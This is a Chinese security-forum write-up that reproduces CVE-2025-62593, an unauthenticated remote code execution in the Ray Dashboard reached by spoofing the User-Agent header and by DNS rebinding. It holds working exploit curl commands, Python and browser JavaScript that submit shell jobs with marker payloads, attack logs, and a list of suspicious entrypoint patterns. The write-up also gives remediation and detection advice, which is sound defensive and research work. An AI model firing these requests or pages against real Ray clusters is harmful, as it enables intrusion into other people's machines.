一行 UA 头废掉官方防御:Ray DNS Rebinding 无认证 RCE(CVE-2025-62593)全链路剖析
漏洞分析
渗透测试
攻击者不向你的服务器发一个包,你的浏览器替他拿下 GPU 集群。Ray Dashboard 无认证 + DNS Rebinding + 一行 UA 头绕过,直达 RCE。附全套复现脚本与修复实测。
一行 UA 头废掉官方防御:Ray DNS Rebinding 无认证 RCE(CVE-2025-62593)全链路剖析 ============================================================ > 本文仅用于授权环境下的安全研究与学习,请勿对未授权目标进行测试。 > 文中 PoC 已脱敏:仅保留漏洞验证所需的关键逻辑与无害的标记型载荷,完整利用脚本不予公开。 0. 前言 ----- 大模型时代,**Ray** 已经成为 AI 训练/推理平台的事实标准——滴滴、字节、蚂蚁的机器学习平台底层都有它,国外 OpenAI、Anthropic 的官方博客里也多次出现 Ray 的身影。但很少有人注意到:这个掌管着成百上千张 GPU 的分布式框架,它的**管理面板从诞生起就没有认证**。 2025 年披露的 **CVE-2025-62593**(CVSS v4.0 **9.4**,CVSS v3.1 **8.8**)把这个"皇帝的新衣"彻底揭开: - Ray Dashboard 的关键 API(`/api/jobs/`、`/api/job_agent/jobs/` 等)**长期不设认证**,Ray 团队甚至在代码注释里明确写着"决定不做任何认证"; - 官方唯一的补救措施是**用 User-Agent 是否以 `Mozilla` 开头来拦截浏览器请求**——而这个防御形同虚设; - 攻击者把 **DNS Rebinding** 这一"上古技术"和 Firefox/Safari 允许改写 UA 头的实现差异组合起来,实现了**开发者只要用浏览器访问一个恶意网页,本地(或内网)的 Ray 集群就被直接拿下**; - 该漏洞已被 CISA 收录进 **KEV(已知被在野利用)目录**,BitSight 披露的 **Rondodox 僵尸网络**正在批量收割暴露在公网和内网的 Ray 实例。 一句话总结这个漏洞的"魔幻"之处:**攻击者不需要向你的 Ray 服务器发送任何一个数据包——是你的浏览器替他发的。** 本文将从环境搭建开始,完整复现这条攻击链:漏洞本质验证(demo.py 一键脚本)→ DNS Rebinding 完整攻击链 → 修复验证,全程可跟做。  1. 漏洞概述 ------- | 项目 | 内容 | |---|---| | CVE 编号 | CVE-2025-62593(GHSA-q279-jhrf-cc6v) | | CVSS | v4.0:9.4 CRITICAL / v3.1:8.8 HIGH | | 影响组件 | Ray Dashboard(默认端口 8265) | | 受影响版本 | **< 2.52.0 全版本** | | 修复版本 | 2.52.0(commit `70e7c72`,首次引入默认关闭的可选认证) | | 在野利用 | CISA KEV 已收录,Rondodox 僵尸网络批量利用 | | 攻击前提 | 受害者使用 **Firefox / Safari** 访问恶意页面 | ### 1.1 根因:三个弱点的叠加 这个漏洞不是单点缺陷,而是三个"各自都不致命"的问题叠加成了 9.4 分: **① 关键 API 无认证。** `/api/jobs/` 支持提交任意 `entrypoint`(shell 命令),Ray 会在 worker 节点上原样执行。Ray 团队长期拒绝在这些端点上加认证(官方公告原话:*"not to implement any sort of authentication on critical endpoints"*),理由是"这是给开发者用的内网工具"。 **② UA 检查防御可被浏览器绕过。** Ray 后来加了一层防御:拦截 User-Agent 以 `Mozilla` 开头的 POST/PUT 请求(即浏览器请求)。代码注释里写道: > *"This heuristic is very weak, but hard for a browser to bypass."* > (这个启发式非常弱,但浏览器很难绕过。) 这句话暴露了一个致命的假设错误——**fetch 规范确实把 `User-Agent` 列为禁止修改的头,但 Firefox 和 Safari 的实现允许改写它**。Chrome 反而因为一个不符合规范的 bug 忠实执行了禁止规则,成了唯一"免疫"的主流浏览器。 **③ DNS Rebinding 绕过同源策略。** 浏览器同源策略是防止恶意网页访问内网服务的最后防线——恶意网站的 JS 无法请求 `http://127.0.0.1:8265` 并读取响应。但 DNS Rebinding 让恶意域名的解析记录在页面存活期内从"攻击者 IP"切换到"127.0.0.1",浏览器认为请求的还是同一个域,于是放行。 ### 1.2 攻击场景 - **场景一(开发者本机)**:算法工程师本地跑着 `ray start --head`,顺手用 Firefox 搜了个技术问题,点进一个被投毒的页面/广告——本地的 Ray 被拿下,恶意命令以他的用户权限执行; - **场景二(内网横向)**:浏览器成为"confused deputy"(被迷惑的代理人),攻击者通过受害者的浏览器打**内网其他机器**上的 Ray 集群——这正是内网 Ray 普遍只绑内网 IP 却照样沦陷的原因。 2. 攻击原理分析 ---------  > 图例:实线箭头 = 浏览器实际发出的 HTTP 请求/数据流;虚线箭头 = DNS 解析交互(受害者不可见的底层行为);红色箭头 = 最终攻击请求;`RCE!` 旗标 = 任意代码执行发生点。 ### 2.1 DNS Rebinding:20 年历史的"老炮儿" DNS Rebinding(DNS 重绑定)2007 年就被 Stanford 的研究人员系统研究过,原理一句话:**浏览器的同源策略认"域名"不认"IP"**。 1. 攻击者注册域名 `evil.rbndr.us`,DNS 记录的 TTL 设置为 0 或极短; 2. 受害者访问 `http://evil.rbndr.us/`,第一次解析返回**攻击者服务器 IP**,页面正常加载,恶意 JS 在浏览器里"住下"; 3. JS 稍后向 `http://evil.rbndr.us:8265/api/jobs/` 发起 fetch——由于 TTL 已过期,DNS 第二次解析返回 **127.0.0.1**; 4. 浏览器一看:请求的域名和页面域名一致(host 相同)→ **同源,放行**。请求实际打到了受害者本地的 Ray Dashboard。 端口不同怎么办?这属于 **SOO(Single-Origin, Other-Port)** 场景:CORS 层面取决于目标服务的响应头策略;而本漏洞属于"发射后不管"(fire-and-forget)型利用——**攻击者根本不需要读取响应,POST 请求只要发出去,`entrypoint` 就会被执行**。 ### 2.2 UA 防御的绕过:一行 header 的事 Ray 的防御逻辑(简化): ```python def is_browser_request(request): # 拦截 User-Agent 以 Mozilla 开头的 POST/PUT 请求 if request.method in ("POST", "PUT"): ua = request.headers.get("User-Agent", "") if ua.startswith("Mozilla"): return True # 拒绝 return False ``` 按照 fetch 规范,`User-Agent` 是 forbidden header,JS 改不了——所以 Ray 团队认为浏览器请求的 UA 必然以 `Mozilla` 开头。但现实是: ```js // Firefox / Safari 中:合法执行,UA 被改写 fetch("http://evil.rbndr.us:8265/api/jobs/", { method: "POST", headers: { "Content-Type": "application/json", "User-Agent": "Other", // ← 防御失效的根源 }, body: JSON.stringify({ entrypoint: "calc.exe", // 任意命令 runtime_env: {}, job_id: null, metadata: {}, }), }); ``` **Chrome 为什么免疫?** Chrome 的 fetch 实现存在一个不符合规范的 bug:禁止改写 `User-Agent`。歪打正着地挡住了这个攻击。所以复现本漏洞**必须用 Firefox 或 Safari**——这也是很多同学复现失败踩的第一个坑。 ### 2.3 利用端点与载荷 公开 PoC(NCC Group Singularity 的 "Ray Jobs RCE" payload,`nccgroup/singularity#68`)向 `/api/jobs/` 提交: ```json { "entrypoint": "calc.exe || open -a Calculator || gnome-calculator", "runtime_env": {}, "job_id": null, "metadata": {"attack": "cve-2025-62593"} } ``` `entrypoint` 就是 shell 命令,跨平台弹计算器是 PoC 的"仪式感",实战中换成反弹 shell、写公钥、投挖矿木门都是一行命令的事。 3. 环境搭建 -------  ### 3.1 方案 A:Docker 自建漏洞镜像(推荐,国内网络友好) > Ray 官方不支持 Windows 原生运行,Windows 用户请使用 Docker Desktop 或 WSL2。官方 `rayproject/ray` 镜像体积高达 3GB 且国内拉取缓慢,实测更高效的方式是基于 `python:3.12-slim` 自建等价漏洞环境(受影响版本 Ray 2.40.0 由 pip 从清华源安装,全程约 5 分钟): ```dockerfile # Dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir -i https://pypi.tuna.tsinghua.edu.cn/simple "ray[default]==2.40.0" EXPOSE 8265 6379 CMD ["ray", "start", "--head", "--dashboard-host", "0.0.0.0", "--block"] ``` ```bash # 构建并启动(dashboard 监听 0.0.0.0,复刻真实默认部署) docker build -t ray-vuln-fast . docker run -d --name ray-vuln -p 8265:8265 -p 6379:6379 ray-vuln-fast ``` > 踩坑提示:不要用 `python:3.10-slim`——Ray 2.40 的 CLI 在 Python 3.10 上存在 `deepcopy(Sentinel)` 崩溃 bug,启动即报 `ValueError: ... is not a valid Sentinel`,换 3.12 即可。 ### 3.2 方案 B:官方镜像(网络通畅时) ```bash docker run -d --name ray-vuln \ -p 8265:8265 -p 6379:6379 \ rayproject/ray:2.40.0 \ bash -c "ray start --head --dashboard-host 0.0.0.0 --block" ``` 两种方式效果完全一致(同为受影响版本 Ray 2.40.0 + 默认无认证 Dashboard),下文以方案 A 环境为准。 ### 3.3 环境验证 ```bash docker logs ray-vuln 2>&1 | findstr "dashboard Ray runtime" # 预期:Ray runtime started. / view the dashboard at http://127.0.0.1:8265 curl http://127.0.0.1:8265/api/jobs/ # 预期:[](无认证直接返回) ``` 浏览器访问 `http://127.0.0.1:8265`,看到 Ray Dashboard 页面——**注意地址栏里没有登录框,从始至终都不会有**。 图 4:Ray Dashboard 首页——全程无任何登录/认证界面  ### 3.4 浏览器准备(重要) - ✅ **Firefox**(首选)或 Safari——fetch 可改写 UA - ❌ Chrome / Edge——无法改写 UA,攻击必然失败(可用作对照组,见 5.5) 4. 复现一:漏洞本质验证(无需浏览器) -------------------- 这一阶段直接验证漏洞三要素中的前两个:**无认证** 和 **UA 防御可绕过**,并确认命令落地执行。复现过程用一键脚本 `demo.py` 完成(核心逻辑见 4.3)——脚本内部就是下面这些 HTTP 请求的自动化封装,下文把脚本输出与等价的手工 curl 命令逐段对照。 ### 4.1 一键运行 demo.py 前提:第 3 节启动的 `ray-vuln` 容器正在运行。在终端执行: ```bash python demo.py ``` 一次运行输出四段: ```php ============================================================== [1] 未授权信息泄露: GET /api/jobs/ HTTP 200 -> [] ============================================================== [2] 防御存在性: POST UA=Mozilla/5.0 (浏览器UA) -> 预期被拒 HTTP 405 -> Method Not Allowed for browser traffic. ============================================================== [3] 绕过防御: POST UA=Other -> 预期创建 job 成功 HTTP 200 -> {"job_id": "raysubmit_xxx", ...} ============================================================== [4] 确认命令执行: 查询 job 状态 HTTP 200 | status: PENDING/RUNNING | entrypoint: whoami > /tmp/pwned.txt && ... ``` > 只验证防御存在性时可加参数:`python demo.py mozilla`(仅跑 \[1\]\[2\] 两段,预期输出一致)。 ### 4.2 输出逐段解读 **\[1\] 未授权信息泄露**——未认证即可枚举集群任务信息。等价手工命令: ```bash curl http://127.0.0.1:8265/api/jobs/ ``` 图 5:未授权 GET /api/jobs/ 返回任务列表(信息泄露)  **\[2\] 防御存在性验证:浏览器 UA 被拦截**——等价手工命令: ```bash curl -X POST http://127.0.0.1:8265/api/jobs/ ^ -H "Content-Type: application/json" ^ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" ^ -d "{\"entrypoint\": \"echo blocked > /tmp/blocked.txt\", \"runtime_env\": {}}" ``` 返回 `405 Method Not Allowed for browser traffic.`——请求被 Ray 拒绝,这就是官方那道"非常弱"的防线。 图 6:UA 以 `Mozilla` 开头的 POST 被拦截(405)  **\[3\] 绕过验证:改一个头就进去了**——等价手工命令: ```bash curl -X POST http://127.0.0.1:8265/api/jobs/ ^ -H "Content-Type: application/json" ^ -H "User-Agent: Other" ^ -d "{\"entrypoint\": \"whoami > /tmp/pwned.txt && hostname >> /tmp/pwned.txt && echo RCE_BY_CVE-2025-62593 >> /tmp/pwned.txt\", \"runtime_env\": {}}" ``` 返回 `{"job_id": "raysubmit_xxx", ...}`,任务创建成功。 图 7:UA 改写为 `Other` 后 POST 创建 job 成功,返回 job\_id  **\[4\] 确认命令执行**——脚本查询 job 状态(刚提交为 `PENDING/RUNNING`,稍后变为 `SUCCEEDED`);再进入容器直接读取命令执行结果: ```bash docker exec ray-vuln cat /tmp/pwned.txt ``` 预期输出类似: ```php root bd96127d68f5 RCE_BY_CVE-2025-62593 ``` 图 8:job 状态 SUCCEEDED + docker exec 读出 /tmp/pwned.txt 内容(RCE 实锤)  **至此已证明:一个 HTTP 请求 = 任意命令执行。** 剩下的问题只有一个——恶意网页怎么让你的浏览器替攻击者发出这个请求?这就是第二阶段。 ### 4.3 一键脚本 demo.py(核心逻辑,已脱敏) 脚本把 4.1~4.2 的手工请求封装为 `get_jobs()` / `post_job()` / `get_job()` 三个函数并顺序调用,四段演示输出即依次调用的结果。其中决定"打不打得进"的核心,只有攻击请求的构造这一段: ```python # demo.py 核心:一次"UA 改写绕过"的攻击请求(函数封装与输出排版已省略) def post_job(ua, entrypoint): body = json.dumps({"entrypoint": entrypoint, "runtime_env": {}, "job_id": None, "metadata": {}}).encode() req = urllib.request.Request( BASE + "/api/jobs/", data=body, method="POST", headers={"Content-Type": "application/json", "User-Agent": ua}) # ↑ UA = "Mozilla/5.0 ..." → HTTP 405 被拦截(防御生效) # ↑ UA = "Other" → HTTP 200 创建 job(绕过成功) with urllib.request.urlopen(req, timeout=10) as r: return r.status, r.read().decode() ``` 验证载荷为无害的标记命令:把 `whoami`/`hostname` 输出写入容器内 `/tmp/pwned.txt` 并追加 `RCE_BY_CVE-2025-62593` 标记串(与 4.2 手工 curl 完全一致),仅用于确认命令确实执行。完整脚本仅供授权环境研究,此处不再展示。 5. 复现二:DNS Rebinding 完整攻击链(浏览器侧) -------------------------------- 第一阶段证明了"一个 HTTP 请求 = 任意命令执行";第二阶段回答剩下的问题——**恶意网页怎么让你的浏览器替攻击者发出这个请求?** ### 5.1 为什么必须"完全同源":一个容易被忽略的细节 很多人以为 DNS Rebinding 之后用 `fetch` 跨端口打目标就行,但有一个关键细节:`fetch` 设置自定义 `User-Agent` 头会让请求变成**非简单请求**,浏览器先发 CORS preflight(`OPTIONS`);而 Ray 对 `OPTIONS` 返回 **405**(无 CORS 头),preflight 失败,实际攻击请求根本发不出去: ```bash $ curl -i -X OPTIONS http://127.0.0.1:8265/api/jobs/ \ -H "Origin: http://evil.com" \ -H "Access-Control-Request-Method: POST" \ -H "Access-Control-Request-Headers: content-type,user-agent" HTTP/1.1 405 Method Not Allowed ← preflight 死在这里 ``` 所以完整 PoC 的精髓是 **"完全同源"攻击**:攻击者把恶意页面也服务在 **8265 端口**(自己的服务器上),页面 origin 为 `http://evil.com:8265`;DNS Rebinding 把 `evil.com` 的解析切到受害者 IP 后,**同一域名、同一端口背后已经是 Ray**——scheme/host/port 三要素全同,浏览器视为同源,无 preflight、无 CORS,攻击请求连同自定义 UA 一起直达,**响应还能读取**(拿到 job\_id 直接回显)。 ### 5.2 本地复现思路:用"服务切换"模拟"DNS 切换" 真实攻击中,"切换"由 TTL 极短的 DNS 完成(NCC Group 的 Singularity 框架把这件事做到了开箱即用,官方公告钦点它为 PoC 载体)。本地实验没有自己的域名,我们用**等价的服务切换**来模拟这个时序: ```php 阶段 A:8265 端口 = 恶意页面服务器(模拟 DNS 首次解析 → 攻击者 IP) 阶段 B:受害者 Firefox 打开 http://127.0.0.1:8265/malicious.html,恶意 JS 常驻探测 阶段 C:8265 端口切换为 Ray Dashboard(模拟 DNS 二次解析 → 127.0.0.1) 阶段 D:JS 探测到 /api/jobs/ 返回 JSON → 自动发起同源攻击 → RCE ``` 与真实 DNS Rebinding 的唯一区别是"切换"的执行者(本地为服务切换/真实攻击为 DNS 切换),**浏览器同源判定、请求放行、攻击效果完全一致**。 恶意页面 `malicious.html` 的攻击核心是页面底部的一段 JS(页面样式与展示逻辑均已省略): ```js // malicious.html 攻击核心(页面样式/展示逻辑已脱敏省略) const ATTACK_CMD = "echo BROWSER_RCE_PWNED_BY_CVE-2025-62593 >> /tmp/browser_pwned.txt && whoami >> /tmp/browser_pwned.txt && hostname >> /tmp/browser_pwned.txt"; async function probe() { // ① 常驻探测:8265 是否已从"攻击者服务器"切换为 Ray(返回 JSON 即 Ray 上线) const r = await fetch('/api/jobs/', { method: 'GET' }); const ct = r.headers.get('content-type') || ''; return r.ok && ct.includes('json'); } async function attack() { // ② 同源攻击:POST /api/jobs/,UA 改写为 "Other" 绕过 Ray 的浏览器拦截 const r = await fetch('/api/jobs/', { method: 'POST', headers: { 'Content-Type': 'application/json', 'User-Agent': 'Other' }, body: JSON.stringify({ entrypoint: ATTACK_CMD, runtime_env: {}, job_id: null, metadata: {} }) }); return r; // ③ 同源可读响应 —— 页面可直接拿到 job_id 回显 } ``` 页面加载后即自动循环执行以上逻辑(探测间隔 3 秒):攻击者服务器阶段 `probe()` 恒为 false,页面只显示"等待目标上线";Ray 接管 8265 后 `probe()` 命中,随即自动发起攻击并在页面上滚动输出战报。 页面由 `serve_page.py` 托管在 8265 端口(对应"阶段 A:攻击者服务器")——实现只是 Python 标准库 `http.server` 的十几行静态托管:页面路径返回上面的恶意 HTML,**其余路径(含 `/api/jobs/`)一律返回 404**,页面 JS 的探测循环因此始终处于"等待"状态,直到 8265 切换为 Ray。该服务本身无攻击性代码,实现从略。 ### 5.3 复现步骤(受害者视角) **第 ① 步:启动攻击端编排脚本** 将"页面服务 → 切换 → 验证"的完整时序编排为一键脚本 `attack_chain.py`(核心流程见下):自动停容器释放 8265 → 启动恶意页面服务器 → 检测到浏览器打开页面后 15 秒倒计时(模拟 DNS TTL 到期)→ 自动切换 8265 为 Ray → 监控攻击落地: ```python # attack_chain.py 编排核心(页面服务 Handler、HTTP 封装等辅助代码已脱敏省略) def main(): docker("stop", "ray-vuln") # [1] 释放 8265 给"攻击者服务器" server = socketserver.TCPServer(("0.0.0.0", 8265), Handler) # [2] 恶意页面服务器(同 serve_page.py) threading.Thread(target=server.serve_forever, daemon=True).start() PAGE_LOADED.wait() # [3] 等受害者 Firefox 打开恶意页面 time.sleep(15) # 15 秒倒计时 ≈ DNS TTL 到期 server.shutdown() # [4] "Rebinding 切换"时刻: docker("start", "ray-vuln") # 同端口背后的服务从"攻击者页面"变成 Ray(二次解析 → 127.0.0.1) for _ in range(30): # [5] 等 Ray 上线(期间页面 JS 将自动探测并发起攻击) time.sleep(3) if http_get("http://127.0.0.1:8265/api/jobs/").startswith("["): break for _ in range(20): # [6] 等攻击落地:容器内出现标记串即 RCE 成功 time.sleep(3) out = docker("exec", "ray-vuln", "cat", "/tmp/browser_pwned.txt").stdout if "BROWSER_RCE_PWNED" in out: print("[✓] RCE 成功! 浏览器触发的命令已在容器内执行:", out) return ``` 运行: ```bash python attack_chain.py [1/6] 停止 Ray 容器,释放 8265 端口给攻击者服务器... [2/6] 启动恶意页面服务器: http://127.0.0.1:8265/malicious.html [3/6] 等待受害者(Firefox)打开恶意页面... >>> 受害者已打开页面! 15 秒后执行 Rebinding 切换 切换倒计时: 15s ... 1s [4/6] 模拟 DNS Rebinding: 8265 从攻击者服务器切换为 Ray... [5/6] 等待 Ray 上线(页面 JS 将自动探测并发起攻击)... [6/6] 等待页面 JS 自动攻击落地... ``` 图 9:攻击端编排日志(`[1/6]`~`[3/6]` 攻击端就位,等待受害者浏览器打开页面)  **第 ② 步:受害者打开恶意页面** 脚本进入 `[3/6]` 等待后,用 **Firefox** 打开 `http://127.0.0.1:8265/malicious.html`——页面看似人畜无害,只有一行默默跳动的探测计数: ```php 恶意 JS 已加载,开始探测目标服务(等待 DNS Rebinding 切换到 127.0.0.1 的 Ray)... 仍在等待目标上线...(第 N 轮探测) ``` ⚠️ 注意:脚本检测到页面访问后随即开始 15 秒倒计时(模拟 DNS TTL 到期),期间保持页面打开即可。 图 10:Firefox 打开恶意页面——地址栏 + "恶意 JS 已加载 / 仍在等待目标上线"的探测状态  **第 ③ 步:自动切换 + 攻击落地** 倒计时结束,脚本自动把 8265 从"攻击者页面服务器"切换为 Ray(等效于手工执行停页面服务 + `docker start ray-vuln`)——**这一步就是 DNS Rebinding 的"切换"时刻**。回到 Firefox,数秒内页面滚出完整攻击战报: ```php [xx:xx:xx] 探测到 Ray Dashboard 已上线(第 N 轮,同源成立,浏览器将放行攻击请求) [xx:xx:xx] 发起攻击:POST /api/jobs/ [User-Agent: "Other"] [xx:xx:xx] HTTP 200 - 任意命令已提交执行!job_id = raysubmit_xxxx [xx:xx:xx] RCE 成功:受害者全程无感知(无弹窗、无确认框) ``` 图 11:攻击完成——同一地址栏(与图 10 完全相同)的页面滚动输出完整攻击战报,前后对比即是"受害者无感知"的铁证  > 📌 **实测注脚**:切换瞬间页面探测循环中多个"在途"请求同时命中,一次触发了 **4 个并发攻击 job 且全部 SUCCEEDED**——Dashboard 的 Jobs 队列里能看到这 4 条带 `BROWSER_RCE_PWNED_BY_CVE-2025-62593` 标记的任务混在列表中,**管理员视角毫无异常**(图 12,这是"隐蔽性"的最佳注脚)。 > 虚拟机环境中 Ray 上线可能慢于脚本 90 秒验证窗口,脚本提示"未上线"提前退出不影响实际攻击——用 `curl http://127.0.0.1:8265/api/jobs/` 或 `docker exec ray-vuln cat /tmp/browser_pwned.txt` 复核即可。 图 12:Dashboard Jobs 队列——4 条带 `BROWSER_RCE_PWNED` 标记的攻击任务混在列表中(管理员视角毫无异常)  ### 5.4 验证 RCE 落地 ```bash docker exec ray-vuln cat /tmp/browser_pwned.txt ``` 预期输出(浏览器触发的命令执行结果;实测因并发 job 叠加,`BROWSER_RCE_PWNED...`/`root`/hostname 会各重复 4 组,见 5.3 注脚): ```php BROWSER_RCE_PWNED_BY_CVE-2025-62593 root <容器 hostname> ``` 图 13:docker exec 读出 /tmp/browser\_pwned.txt——浏览器攻击的命令已在容器内执行(×4 并发 job 叠加)  ### 5.5 对照实验:为什么 Chrome "免疫" 用 Chrome/Edge 重复 5.3(页面阶段用 Chrome 打开,切换后观察):探测到 Ray 后攻击照样发起,但 Chrome 的 fetch 实现**禁止改写 `User-Agent`**(符合规范),请求 UA 仍是 `Mozilla/5.0 ...` → Ray 的防御拦截 → 页面显示 `HTTP 405 - 攻击被拦截`。 图 14:Chrome 对照——同一页面攻击被 405 拦截,与图 11 形成对照  顺带一提:Chrome 142 起还引入了 Local Network Access(LNA)机制,从规范层面阻止网页访问内网服务——DNS Rebinding 这类技术在 Chrome 上正被逐步封死;而 Firefox/Safari 尚未全面跟进,这也是本漏洞攻击面仍然真实存在的原因之一。 ### 5.6 真实攻击场景:Singularity 框架 实战中攻击者不会手工切换服务,而是使用 NCC Group 开源的 **Singularity of Origin**(官方公告钦点的 PoC 载体,内置 "Ray Jobs RCE" 载荷): - 自带 DNS 服务器与 `*.rbndr.us` 通配域名,TTL 到期自动把解析切到目标 IP; - `sooFetch` 封装处理各种同源/跨端口场景; - Manager 界面(`manager.html`)可选定载荷一键发起攻击。 有兴趣的读者可以在拥有公网域名的环境中部署 Singularity 复刻完整攻击,此处受实验环境限制以等价的本地切换演示。 ### 5.7 攻击链回看 对照第 2 节的两张图,完整链路: ```php 受害者 Firefox 访问恶意域名(页面服务在 :8265) → 首次解析:攻击者 IP,恶意 JS 加载并常驻探测 → DNS/服务切换:同域名同端口背后变成 Ray → 浏览器判定同源 → 放行 POST(UA 已改写为 "Other") → /api/jobs/ 无认证接收,执行 entrypoint → RCE(写文件 / 反弹 shell / 挖矿),响应可读 ``` **受害者全程没有点任何确认,浏览器地址栏没有任何异常。** 6. 修复与防护建议 ---------- **① 升级到 Ray 2.52.0 及以上**(修复 commit `70e7c72`)。注意:2.52.0 引入的认证功能**默认是关闭的**,升级后必须显式启用(官方 token 认证文档见参考链接)。 **② 启用 Dashboard 认证**,按 Ray 官方文档配置 token。 **③ 收敛攻击面:** - `--dashboard-host` 绑定 127.0.0.1 或内网管理网段,绝不暴露公网(公网测绘上 8265 的暴露量常年以万计); - 防火墙/安全组限制 8265、6379(GCS)、10001(客户端)端口的访问来源。 **④ 企业侧检测思路:** - 资产侧:FOFA/Shodan/内部测绘收敛 Ray Dashboard 暴露面,识别 Rondodox 僵尸网络特征; - 流量侧:检测内网 DNS 中 **TTL 极短且解析结果在"公网 IP ↔ 127.0.0.1/内网 IP"间翻转**的域名——这是 DNS Rebinding 的通用指纹; - 主机侧:审计 `/api/jobs/` 提交记录中的可疑 `entrypoint`(base64、curl、bash -i 等)。 **⑤ 浏览器侧:** Chrome 的 Local Network Access(LNA)机制正在推进对"公网页面访问内网服务"的拦截,但历史上曾被回滚,**不能作为唯一防线**。 **修复验证(实测,重要发现)**:使用 `Dockerfile.fixed`(Ray 2.52.0)重建镜像: ```dockerfile # 修复验证镜像:Ray 2.52.0(CVE-2025-62593 修复版本) # 用法:docker build -f Dockerfile.fixed -t ray-fixed . FROM python:3.12-slim RUN pip install --no-cache-dir -i https://pypi.tuna.tsinghua.edu.cn/simple "ray[default]==2.52.0" EXPOSE 8265 6379 CMD ["ray", "start", "--head", "--dashboard-host", "0.0.0.0", "--block"] ``` ```bash docker build -f Dockerfile.fixed -t ray-fixed . docker rm -f ray-vuln docker run -d --name ray-vuln -p 8265:8265 ray-fixed python demo.py # 重放攻击,对比响应 ``` 实测对比: | 请求 | Ray 2.40.0 | Ray 2.52.0(默认配置) | |---|---|---| | `GET /api/jobs/`(未授权) | 200 信息泄露 | **200 信息泄露(依旧)** | | `POST UA=Mozilla` | 405 拦截 | 405 拦截(依旧) | | `POST UA=Other` | 200 → RCE | **200 → RCE(依旧成功!)** | 也就是说:**2.52.0 的修复 = 引入"默认关闭"的可选认证——只升级、不启用认证,攻击链原样可用**(实测 job 照常 SUCCEEDED、`whoami`/写文件命令照常执行)。 图 15:Ray 2.52.0 上重放 demo.py——\[3\] 段依然 HTTP 200、job 照常创建:"升级 ≠ 安全,必须显式启用认证"  > 结论:升级是必要条件而非充分条件。生产环境必须**升级 + 显式启用 token 认证 + 收敛端口暴露**三管齐下,缺一不可。 7. 总结 ----- CVE-2025-62593 的标本意义在于:它不是某个函数写错了,而是"内网工具不需要认证"的开发者惯性 + 对浏览器安全模型的错误假设 + 经典攻击技术的老树新花三者叠加的必然。AI 基建狂飙的时代,Ray 们掌管的是 GPU 集群和训练管线——这些"裸奔"的 Dashboard,就是攻击者眼里的免费算力仓库。 给甲方的三个灵魂拷问: 1. 你的内网有多少个 8265 端口在监听? 2. 你的算法团队有多少人用 Firefox/Safari? 3. 上一次审计机器学习平台的管理面认证,是什么时候? 8. 参考 ----- - GitHub Advisory:<https://github.com/ray-project/ray/security/advisories/GHSA-q279-jhrf-cc6v> - NVD:<https://nvd.nist.gov/vuln/detail/CVE-2025-62593> - 修复 commit:<https://github.com/ray-project/ray/commit/70e7c72780bdec075dba6cad1afe0832772bfe09> - CISA KEV:<https://www.cisa.gov/known-exploited-vulnerabilities-catalog> - BitSight Rondodox 分析:<https://www.bitsight.com/blog/rondodox-botnet-infrastructure-analysis> - NCC Group Singularity:[https://github.com/nccgroup/singularity(PoC](https://github.com/nccgroup/singularity%EF%BC%88PoC) PR #68) - Ray token 认证文档:<https://docs.ray.io/en/latest/ray-observability/ray-dashboard.html>
发表于 2026-09-09 09:00:02
阅读 ( 4340 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
Seren
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!